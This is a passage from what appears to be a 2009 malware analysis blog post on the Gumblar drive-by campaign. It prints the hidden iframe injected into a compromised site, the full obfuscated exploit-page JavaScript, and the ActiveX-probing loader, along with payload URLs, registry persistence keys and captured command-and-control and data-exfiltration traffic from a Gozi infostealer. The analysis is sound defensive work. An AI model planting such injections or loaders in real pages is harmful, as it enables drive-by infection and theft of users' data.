exfiltrated by infostealers (like FTP) are used to compromise additional web servers back in step #1.&lt;/li&gt;&lt;/ol&gt;At one point in the attack (~May 2009), the Gumblar exploit site was gumblar.cn (hence the adopted name). The domain martuz.cn was later used. The activity began much further back, but the attack summary was put togther and publicized more recently. The following "Gumblar" analysis goes back to April 17, 2009 before gumbar.cn was utilized.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Gumbar Exploit Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The USDA Forest Service website (http://www.fs.fed.us) was a vicitm of an iframe injection. The compromised site contained an iframe to lotmachinesguide.cn (94.247.3.150, Latvia).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;iframe src="http://lotmachinesguide.cn/in.cgi?income56" width=1 height=1 style="visibility: hidden"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The lotmachinesguide.cn/in.cgi?income56 request returned a HTTP Location redirect to liteautogreatest.cn (94.247.3.151, Latvia). The http://liteautogreatest.cn/index.php request returned obfuscated JavaScript and references to Adobe Reader and Flash files that contain exploit code.&lt;br /&gt;&lt;br /&gt;http://liteautogreatest.cn/cache/readme.pdf&lt;br /&gt;http://liteautogreatest.cn/cache/flash.swf&lt;br /&gt;&lt;br /&gt;The first 2 sections of exploit code target the Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463, MS08-041). The readme.pdf file contains code designed to exploit the Adobe util.printf overflow vulnerability (CVE-2008-2992, APSB08-19) and a vulnerability in the JavaScript method Collab.collectEmailInfo() in Adobe PDF Reader’s JavaScript Engine (CVE-2007-5659, APSB08-13). The flash.swf file exploits an Adobe Flash vulnerability (not sure specific one).The exploit payloads were GET requests to litehitscar.cn (94.247.3.151, Latvia) that returned load.exe.&lt;br /&gt;&lt;br /&gt;http://litehitscar.cn/load.php?id=1&lt;br /&gt;http://litehitscar.cn/load.php?id=4&lt;br /&gt;http://litehitscar.cn/load.php?id=5&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http://liteautogreatest.cn/index.php Code&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;script&amp;gt;eval(function(l,a,z,k,e,d){e=function(z){return(z&amp;lt;a?'':e(parseInt(z/a)))+((z=z%a)&amp;gt;35?String.fromCharCode(z+29):z.toString(36))};while(z--){if(k[z]){l=l.replace(new RegExp('\\b'+e(z)+'\\b','g'),k[z])}}return l}('1h(1i(\'%E%J%l%o%h%k%p%l%0%V%l%E%10%h%L%B%E%w%1%2%d%c%I%d%c%g%E%p%9%1%j%P%D%9%11%j%M%P%w%0%t%0%15%F%0%z%q%s%A%A%G%w%D%H%0%t%0%x%x%u%0%j%P%D%9%11%j%M%P%w%0%1g%t%0%15%13%u%0%j%P%D%9%11%j%M%P%w%y%y%2%d%c%g%I%d%c%g%g%z%q%s%A%A%G%w%D%H%0%t%0%X%h%9%k%l%s%r%E%9%p%O%B%q%i%9%B%p%C%8%1%13%A%0%y%0%j%P%D%9%11%j%M%P%w%2%u%d%c%g%g%z%i%9%0%C%H%w%B%12%G%q%C%Z%0%t%0%l%8%L%0%19%O%i%s%8%1%2%u%d%c%g%g%C%H%w%B%12%G%q%C%Z%r%v%9%o%0%t%0%x%9%8%v%W%n%n%x%0%y%0%z%q%s%A%A%G%w%D%H%0%y%0%x%W%6%6%x%0%y%0%f%R%a%7%1%2%9%1%e%p%2%e%s%5%9%1%a%i%7%O%e%4%0%2%10%b%k%4%m%e%a%2%8%1%v%b%e%e%f%r%9%8%j%m%i%o%8%1%n%5%3%a%3%b%3%6%4%3%6%7%3%6%2%3%6%e%3%6%1%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%D%7%J%1%4%a%h%e%7%m%2%1%a%p%1%p%a%a%a%Y%a%2%0%7%5%a%1c%a%1%5%4%V%4%a%j%7%4%9%4%5%8%a%1%v%2%7%v%5%4%f%r%9%8%j%m%i%o%8%1%n%a%3%b%3%5%3%6%7%3%6%1%3%6%4%3%6%e%3%6%2%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%O%5%2%v%e%p%2%8%a%7%1%9%1%8%2%e%4%v%5%b%7%5%r%2%b%b%b%C%b%5%4%b%m%4%e%5%m%1%4%f%r%9%8%j%m%i%o%8%1%n%b%3%6%4%3%6%e%3%6%1%3%a%3%6%2%3%5%3%6%7%n%k%s%F%0%f%f%2%0%y%0%x%n%b%15%n%17%x%u%d%c%d%c%g%g%k%E%1%C%H%w%B%12%G%q%C%Z%r%q%8%k%s%q%h%0%t%t%0%A%1m%2%d%c%g%g%I%d%c%g%g%g%14%9%8%i%Y%u%d%c%g%g%K%d%c%d%c%g%g%C%H%w%B%12%G%q%C%Z%0%t%0%f%f%u%d%c%g%K%d%c%d%c%g%9%8%h%J%9%l%0%z%q%s%A%A%G%w%D%H%u%d%c%K%d%c%d%c%E%J%l%o%h%k%p%l%0%m%9%o%1a%O%M%N%1b%k%1%J%9%m%2%d%c%I%d%c%g%z%i%9%0%z%q%s%A%A%G%w%D%H%0%t%0%V%l%E%10%h%L%B%E%w%1%2%u%d%c%g%k%E%0%1%z%q%s%A%A%G%w%D%H%0%t%t%0%f%1f%f%2%0%9%8%h%J%9%l%u%d%c%d%c%g%h%9%M%d%c%g%I%d%c%g%g%z%i%9%0%j%N%B%U%T%S%Q%l%0%t%0%l%8%L%0%18%o%h%k%z%8%Z%D%14%1d%8%o%h%1%f%v%e%5%l%1%e%a%j%a%z%4%1%L%7%b%a%7%r%e%5%5%a%X%4%5%7%7%l%5%5%7%2%i%4%1%e%j%7%a%5%b%7%v%b%b%7%q%2%b%p%a%7%4%h%4%2%0%5%2%1l%7%1%4%5%k%4%a%8%5%5%L%7%8%a%4%7%9%1%4%1%7%0%a%7%e%2%B%4%a%p%2%l%7%b%4%e%h%4%b%9%7%5%4%p%4%m%5%2%4%r%5%b%7%5%17%a%b%2%f%r%9%8%j%m%i%o%8%1%n%b%3%6%e%3%6%2%3%6%4%3%6%1%3%5%3%6%7%3%a%n%k%s%F%0%f%f%2%2%u%d%c%g%K%d%c%d%c%g%o%i%h%o%q%1%8%2%d%c%g%I%d%c%g%g%k%E%0%1%j%N%B%U%T%S%Q%l%0%4%t%0%f%1f%4%1%p%5%1%14%e%1%1d%5%5%8%2%5%2%o%b%h%4%7%5%1k%5%b%e%f%r%9%8%j%m%i%o%8%1%n%6%7%3%a%3%6%e%3%6%2%3%6%4%3%b%3%6%1%3%5%n%k%s%F%0%f%f%2%2%0%9%8%h%J%9%l%u%d%c%g%K%d%c%d%c%g%j%N%B%U%T%S%Q%l%r%X%l%i%j%v%q%p%h%R%i%h%q%0%t%0%J%9%m%u%d%c%d%c%g%h%9%M%d%c%g%I%d%c%g%g%j%N%B%U%T%S%Q%l%r%B%p%O%j%9%8%v%v%8%C%R%i%h%q%0%t%0%z%q%s%A%A%G%w%D%H%0%y%0%x%W%6%6%x%0%y%0%f%R%4%2%e%9%4%e%5%p%4%a%1%5%s%a%1%9%7%a%i%4%e%O%2%2%0%2%4%5%10%4%k%e%1%m%2%1%8%b%b%a%v%2%1%2%f%r%9%8%j%m%i%o%8%1%n%b%3%6%2%3%a%3%6%e%3%6%1%3%6%7%3%5%3%6%4%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%D%2%b%J%4%h%5%5%7%m%4%e%p%2%b%p%4%Y%5%e%2%0%5%1c%a%V%b%j%1%4%7%9%7%8%5%5%v%7%b%v%e%4%a%f%r%9%8%j%m%i%o%8%1%n%6%4%3%b%3%5%3%6%e%3%6%2%3%a%3%6%1%3%6%7%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%L%e%7%i%2%1%14%4%7%r%4%5%8%7%a%e%1%V%b%a%8%2%4%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%e%3%5%3%b%3%6%4%3%a%3%6%1%3%6%2%n%k%s%F%0%f%f%2%u%d%c%g%g%j%N%B%U%T%S%Q%l%r%R%9%k%l%h%X%l%i%j%v%q%p%h%1%2%u%d%c%g%K%d%c%d%c%g%o%i%h%o%q%1%8%2%I%K%u%d%c%d%c%g%z%i%9%0%8%Y%Q%R%z%k%m%13%18%1e%0%t%0%v%8%h%19%l%h%8%9%z%i%m%1%E%J%l%o%h%k%p%l%1%2%I%k%E%0%1%j%N%B%U%T%S%Q%l%r%9%8%i%C%M%X%h%i%h%8%0%t%t%0%w%2%0%I%o%m%8%i%9%19%l%h%8%9%z%i%m%1%8%Y%Q%R%z%k%m%13%18%1e%2%u%L%k%l%C%p%L%r%m%p%o%i%h%k%p%l%0%t%0%f%m%1%C%b%i%1%1%1%1%j%1%W%b%4%2%n%a%7%1%a%a%n%2%7%a%4%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%e%3%6%1%3%6%2%3%a%3%b%3%5%3%6%4%n%k%s%F%0%f%f%2%u%K%K%F%0%1j%16%16%16%2%u%d%c%K%d%c%d%c%m%9%o%1a%O%M%N%1b%k%1%f%q%b%2%h%2%5%a%5%h%b%j%4%W%e%7%e%n%2%e%2%n%1%e%m%a%7%k%1%h%4%b%8%7%q%1%k%2%2%h%2%5%v%5%1%o%2%5%4%b%4%i%5%9%7%1%7%r%b%o%1%7%1%l%e%1%n%4%4%m%b%e%p%7%b%7%i%b%7%4%4%e%C%b%r%7%7%j%4%5%4%q%1%b%j%2%a%b%5%2%1n%5%2%1%5%k%e%e%7%C%2%b%a%t%5%17%4%1%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%1%3%a%3%b%3%6%2%3%6%4%3%5%3%6%e%n%k%s%F%0%f%f%2%2%u\'));',62,86,'u0020|u0028|u0029|u007c|u0021|u0026|u005c|u005e|u0065|u0072|u0040|u0023|u000a|u000d|u0024|u0027|u0009|u0074|u0061|u0070|u0069|u006e|u006c|u002f|u0063|u006f|u0068|u002e|u0067|u003d|u003b|u0073|u0034|u0022|u002b|u0076|u0035|u0043|u0064|u004f|u0066|u002c|u0052|u0051|u007b|u0075|u007d|u0077|u0079|u004a|u006d|u0048|u004e|u0050|u004c|u0042|u0059|u0078|u003a|u0053|u006b|u0058|u0046|u004b|u0057|u0036|u0062|u0032|u0030|u0031|u0041|u0049|u0037|u0044|u0045|u006a|u0055|u005b|u003c|eval|unescape|u0033|u005d|u0056|u0039|u003f'.split('|')))&amp;lt;/script&amp;gt;&amp;lt;html&amp;gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function pdfswf()&lt;br /&gt;{&lt;br /&gt;.PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");&lt;br /&gt;.for(i in PDF)&lt;br /&gt;.{&lt;br /&gt;..try&lt;br /&gt;..{&lt;br /&gt;...obj = new ActiveXObject(PDF[i]);&lt;br /&gt;...if (obj)&lt;br /&gt;...{&lt;br /&gt;....document.write('&amp;lt;iframe src="cache/readme.pdf"&amp;gt;&amp;lt;/iframe&amp;gt;');&lt;br /&gt;...}&lt;br /&gt;..}&lt;br /&gt;..catch(e){}&lt;br /&gt;.}&lt;br /&gt;.try&lt;br /&gt;.{&lt;br /&gt;..obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");&lt;br /&gt;..if (obj)&lt;br /&gt;..{&lt;br /&gt;...document.write('&amp;lt;iframe src="cache/flash.swf"&amp;gt;&amp;lt;/iframe&amp;gt;');&lt;br /&gt;..}&lt;br /&gt;.}&lt;br /&gt;.catch(e){}&lt;br /&gt;}&lt;br /&gt;pdfswf();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://litehitscar.cn/load.php?id=5 (load.exe)&lt;br /&gt;&lt;br /&gt;The request for load.php returns the binary file load.exe.&lt;br /&gt;&lt;br /&gt;File: load.exe&lt;br /&gt;Size: 18432&lt;br /&gt;MD5:  4C328C15F6E8603F713FDACF7DAC6E87&lt;br /&gt;&lt;br /&gt;The malware dropper load.exe creates C:\WINDOWS\system32\digiwet.dll and modifies a registry key to launch the malware at startup.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders "SecurityProviders"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Old type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    New type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Old data: msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    New data: msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, digiwet.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The digiwet.dll malware is the core “Gumblar” bot. The malware initiates connections to the bot controller at 78.109.29.112 (Ukraine) and downloads 259043 bytes of data which includes additional malware. Additional C2 connections to 78.109.30.224 (Ukraine) were observed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /new/controller.php?action=bot&amp;amp;entity_list=&amp;amp;uid=1&amp;amp;first=1&amp;amp;guid=3970894049&amp;amp;rnd=981633 HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: 78.109.29.112 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; HTTP/1.1 200 OK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Server: nginx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Date: Fri, 17 Apr 2009 00:06:05 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Connection: keep-alive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Version: 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Length: 259043&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Entity-Info: 1239013921:32768:1;1239013932:41984:1;1239013964:84480:2;1239022982:33792:2;1239024633:45568:2;1239875139:20451:2; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Rnd: 982306 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Magic-Number: 256|1|40:21:222:188:141:149:35:113:122:238:96:131:88:202:90:82:137:127:146:127:209:5:235:94:57:25:53:42:127:239:54:168:4:21:100:145:170:136:3:37:118:100:168:206:47:2:33:184:129:179:55:83:185:35:177:242:60:231:29:188:214:84:100:218:105:201:108:19:81:112:57:199:212:225:150:3:228:183:188:102:107:243:186:36:23:108:23:83:83:52:16:41:136:116:4:241:62:112:5:143:225:62:87:182:32:238:186:5:166:118:107:17:106:38:54:129:146:77:213:229:129:229:14:10:90:19:251:152:132:1:40:101:64:128:27:97:111:213:102:21:75:210:39:181:248:93:55:138:170:12:112:44:242:127:54:77:146:50:229:22:51:14:123:115:143:151:213:254:108:59:20:184:14:59:110:6:152:165:145:67:178:1:111:164:128:165:241:19:215:215:41:11:230:164:126:117:60:84:116:168:143:136:97:157:195:207:164:92:117:54:159:39:55:14:204:184:180:189:203:139:149:245:150:124:154:21:241:214:105:102:127:249:238:224:151:178:176:59:14:37:113:173:77:169:187:25:98:112:215:46:251:108:35:146:233:189: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;eON...#q~.`..5ZR1......^y.5*..6...d....%vd../.!...7S.#..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /new/controller.php?action=report&amp;amp;guid=0&amp;amp;rnd=981633&amp;amp;uid=1&amp;amp;entity=1239013921:unique_start;1239013932:unique_start;1239013964:unique_start;1239022982:unique_start;1239024633:unique_start;1239875139:unique_start HTTP/1.1&lt;br /&gt;Host: 78.109.29.112&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /good/receiver/online HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host: 78.109.30.224&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Type: application/x-www-form-urlencoded&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Length: 16  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;guid=397089404&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;The downloaded data creates 4 temp files:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\Temp\wpv451239013964.exe&lt;br /&gt;C:\WINDOWS\Temp\wpv211239022982.exe&lt;br /&gt;C:\WINDOWS\Temp\wpv781239024633.exe&lt;br /&gt;C:\WINDOWS\Temp\wpv941239875139.exe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wpv451239013964.exe (Downloader)&lt;/span&gt;&lt;br /&gt;The Temp file wpv451239013964.exe creates a trojan downloader. The malware creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\system32\crypts.dll&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "Asynchronous"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "DLLName"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: crypts.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "Impersonate"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "StartShell"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware connects to af9f440dcc.com (83.133.127.5, Germany) to receive instructions for additional malware downloads. The below connection returns instructions to download malware from spaeioer.com (68.180.151.74, US)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /bt.php?mod=&amp;amp;id=computername_-324073247&amp;amp;up=2667859&amp;amp;mid=soboc43 HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;UA-CPU: x86&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&lt;br /&gt;Host: af9f440dcc.com&lt;br /&gt;Connection: Keep-Alive &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HTTP/1.1 200 OK&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;X-Powered-By: PHP/5.2.6&lt;br /&gt;Content-type: text/html&lt;br /&gt;Date: Fri, 17 Apr 2009 00:42:08 GMT&lt;br /&gt;Server: lighttpd/1.4.19 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0SLP:3600;MOD:dAjvlbv5;URL:http://spaeioer.com/741l3.exe;SRV:stoped; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /741l3.exe HTTP/1.1&lt;br /&gt;Accept: */*&lt;br /&gt;UA-CPU: x86&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&lt;br /&gt;Host: spaeioer.com&lt;br /&gt;Connection: Keep-Alive&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;wpv211239022982.exe (Gozi)&lt;/span&gt;&lt;br /&gt;The Temp file wpv211239022982.exe creates a &lt;a href="http://www.secureworks.com/research/threats/gozi/?threat=gozi"&gt;Gozi &lt;/a&gt;variant. The malware monitors web connections and serves as an infostealer. The Temp file wpv211239022982.exe creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\9129837.exe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ttool = "%Windir%\9129837.exe" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The file 9129837.exe creates:&lt;br /&gt;&lt;br /&gt;C:\WINDOWS\new_drv.sys&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "Data"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 28, 00, 00, 00, 00, A5, 01, DB, 00, 00, F1, 0C, 65, 30&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "k1"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 15, AB, 0A, 85&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "k2"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 91, CC, B1, 44&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "version"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 16&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "DisplayName"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: !!!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ErrorControl"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 00, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ImagePath"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_EXPAND_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: \??\C:\WINDOWS\new_drv.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Start"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 03, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Type"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "0"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Root\LEGACY_NEW_DRV\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "Count"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "NextInstance"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Security "Security"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: [binary data]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following services are stopped:&lt;br /&gt;&lt;br /&gt;Application Layer Gateway Service&lt;br /&gt;Windows Firewall/Internet Connection Sharing (ICS)&lt;br /&gt;Security Center&lt;br /&gt;&lt;br /&gt;The Gozi malware connects to 91.207.61.44 (Ukraine) and 212.117.165.54 (Luxembourg) for C2 and data exfiltration.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/ppp.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------28c6e728c6e728c6e7&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.207.61.44&lt;br /&gt;Content-Length: 231&lt;br /&gt;Cache-Control: no-cache &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------28c6e728c6e728c6e7 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;Forms:&lt;br /&gt;&lt;br /&gt;----------------------------28c6e728c6e728c6e7-- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /cgi-bin/commm.cgi?user_id=2232068885&amp;amp;version_id=16&amp;amp;passphrase=fkjvhsdvlksdhvlsd&amp;amp;socks=2149&amp;amp;version=125&amp;amp;crc=00000000 HTTP/1.1&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&lt;br /&gt;Host: 91.207.61.44 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /cgi-bin/ooo.cgi?user_id=2232068885&amp;amp;version_id=16&amp;amp;passphrase=fkjvhsdvlksdhvlsd&amp;amp;socks=2149&amp;amp;version=125&amp;amp;crc=00000000 HTTP/1.1&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&lt;br /&gt;Host: 91.207.61.44 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/ccc.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; 